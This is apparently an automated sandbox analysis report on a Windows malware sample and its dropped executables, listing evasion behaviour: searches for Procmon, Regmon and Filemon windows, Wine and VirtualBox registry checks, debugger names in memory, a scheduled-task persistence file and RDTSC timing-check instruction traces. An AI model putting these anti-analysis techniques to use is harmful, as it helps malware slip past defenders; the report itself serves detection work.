Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsBGDBAKFCFH.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82031C second address: 82032A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82032A second address: 81FAC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jg 00007FEAC13E5377h 0x00000012 push dword ptr [ebp+122D0011h] 0x00000018 jmp 00007FEAC13E537Ah 0x0000001d call dword ptr [ebp+122D19FDh] 0x00000023 pushad 0x00000024 or dword ptr [ebp+122D331Ch], edx 0x0000002a xor eax, eax 0x0000002c jc 00007FEAC13E537Ch 0x00000032 mov dword ptr [ebp+122D331Ch], edx 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c mov dword ptr [ebp+122D19F8h], esi 0x00000042 mov dword ptr [ebp+122D2A36h], eax 0x00000048 pushad 0x00000049 mov ebx, dword ptr [ebp+122D2B42h] 0x0000004f mov eax, dword ptr [ebp+122D2ADEh] 0x00000055 popad 0x00000056 mov esi, 0000003Ch 0x0000005b jmp 00007FEAC13E537Dh 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 pushad 0x00000065 add si, 358Bh 0x0000006a cmc 0x0000006b popad 0x0000006c lodsw 0x0000006e stc 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 cmc 0x00000074 mov ebx, dword ptr [esp+24h] 0x00000078 sub dword ptr [ebp+122D31B3h], eax 0x0000007e nop 0x0000007f pushad 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007FEAC13E5388h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FAC6 second address: 81FAF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35670h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FEAC0C35670h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FAF5 second address: 81FAFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EFB8 second address: 98EFBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EFBC second address: 98EFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EFC2 second address: 98EFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FEAC0C35677h 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98238E second address: 9823E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FEAC13E5382h 0x0000000b popad 0x0000000c pushad 0x0000000d jnc 00007FEAC13E5382h 0x00000013 ja 00007FEAC13E5395h 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007FEAC13E5376h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9823E6 second address: 9823F7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEAC0C35666h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98DF10 second address: 98DF2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FEAC13E537Fh 0x0000000b push edx 0x0000000c pop edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98DF2E second address: 98DF46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEAC0C35666h 0x0000000a jmp 00007FEAC0C3566Ah 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E1D9 second address: 98E1F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5385h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E647 second address: 98E64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E7C3 second address: 98E7C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E7C9 second address: 98E7D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FEAC0C35668h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E7D7 second address: 98E80F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007FEAC13E5376h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FEAC13E5396h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E80F second address: 98E819 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E819 second address: 98E82B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E537Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E82B second address: 98E831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E831 second address: 98E835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990E3E second address: 990E44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990E44 second address: 990E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990E48 second address: 81FAC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 5CDD6ADCh 0x0000000f mov dword ptr [ebp+122D1A05h], ecx 0x00000015 push dword ptr [ebp+122D0011h] 0x0000001b mov dx, AA61h 0x0000001f call 00007FEAC0C3566Dh 0x00000024 push ecx 0x00000025 sub dword ptr [ebp+122D3A0Ah], ecx 0x0000002b pop ecx 0x0000002c pop ecx 0x0000002d call dword ptr [ebp+122D19FDh] 0x00000033 pushad 0x00000034 or dword ptr [ebp+122D331Ch], edx 0x0000003a xor eax, eax 0x0000003c jc 00007FEAC0C3566Ch 0x00000042 mov dword ptr [ebp+122D331Ch], edx 0x00000048 mov edx, dword ptr [esp+28h] 0x0000004c mov dword ptr [ebp+122D19F8h], esi 0x00000052 mov dword ptr [ebp+122D2A36h], eax 0x00000058 pushad 0x00000059 mov ebx, dword ptr [ebp+122D2B42h] 0x0000005f mov eax, dword ptr [ebp+122D2ADEh] 0x00000065 popad 0x00000066 mov esi, 0000003Ch 0x0000006b jmp 00007FEAC0C3566Dh 0x00000070 add esi, dword ptr [esp+24h] 0x00000074 pushad 0x00000075 add si, 358Bh 0x0000007a cmc 0x0000007b popad 0x0000007c lodsw 0x0000007e stc 0x0000007f add eax, dword ptr [esp+24h] 0x00000083 cmc 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 sub dword ptr [ebp+122D31B3h], eax 0x0000008e nop 0x0000008f pushad 0x00000090 push eax 0x00000091 push edx 0x00000092 jmp 00007FEAC0C35678h 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990F31 second address: 990F37 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990F37 second address: 990F3C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991043 second address: 991069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEAC13E5376h 0x0000000a popad 0x0000000b pushad 0x0000000c jo 00007FEAC13E5376h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FEAC13E537Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991069 second address: 991081 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FEAC0C35666h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991081 second address: 99108F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99108F second address: 991098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991098 second address: 99109C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99109C second address: 9910BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FEAC0C3566Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9910BC second address: 9910C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9910C0 second address: 991108 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEAC0C35668h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d jbe 00007FEAC0C3566Ch 0x00000013 mov dword ptr [ebp+122D2E04h], esi 0x00000019 mov ecx, dword ptr [ebp+122D20C3h] 0x0000001f push 00000003h 0x00000021 call 00007FEAC0C35673h 0x00000026 cmc 0x00000027 pop edi 0x00000028 push 00000000h 0x0000002a mov cl, bh 0x0000002c push 00000003h 0x0000002e mov ch, ah 0x00000030 push CA5B9C60h 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 push esi 0x00000039 pop esi 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991108 second address: 991120 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEAC13E5380h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991120 second address: 991124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9859C4 second address: 9859CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF65B second address: 9AF68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC0C35675h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FEAC0C35674h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF68D second address: 9AF691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF80D second address: 9AF829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FEAC0C35673h 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF97C second address: 9AF986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEAC13E5376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF986 second address: 9AF990 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEAC0C35666h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF990 second address: 9AF996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFB2F second address: 9AFB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFB35 second address: 9AFB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E537Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFB45 second address: 9AFB50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFEFB second address: 9AFF0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E5380h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFF0F second address: 9AFF2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35674h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFF2B second address: 9AFF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0331 second address: 9B0336 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0336 second address: 9B0341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8499 second address: 9A84E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35677h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007FEAC0C35677h 0x00000013 jne 00007FEAC0C35666h 0x00000019 jne 00007FEAC0C35666h 0x0000001f popad 0x00000020 push ecx 0x00000021 jmp 00007FEAC0C3566Ah 0x00000026 pop ecx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B712 second address: 97B726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E537Fh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B726 second address: 97B754 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Dh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007FEAC0C35678h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0496 second address: 9B049B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
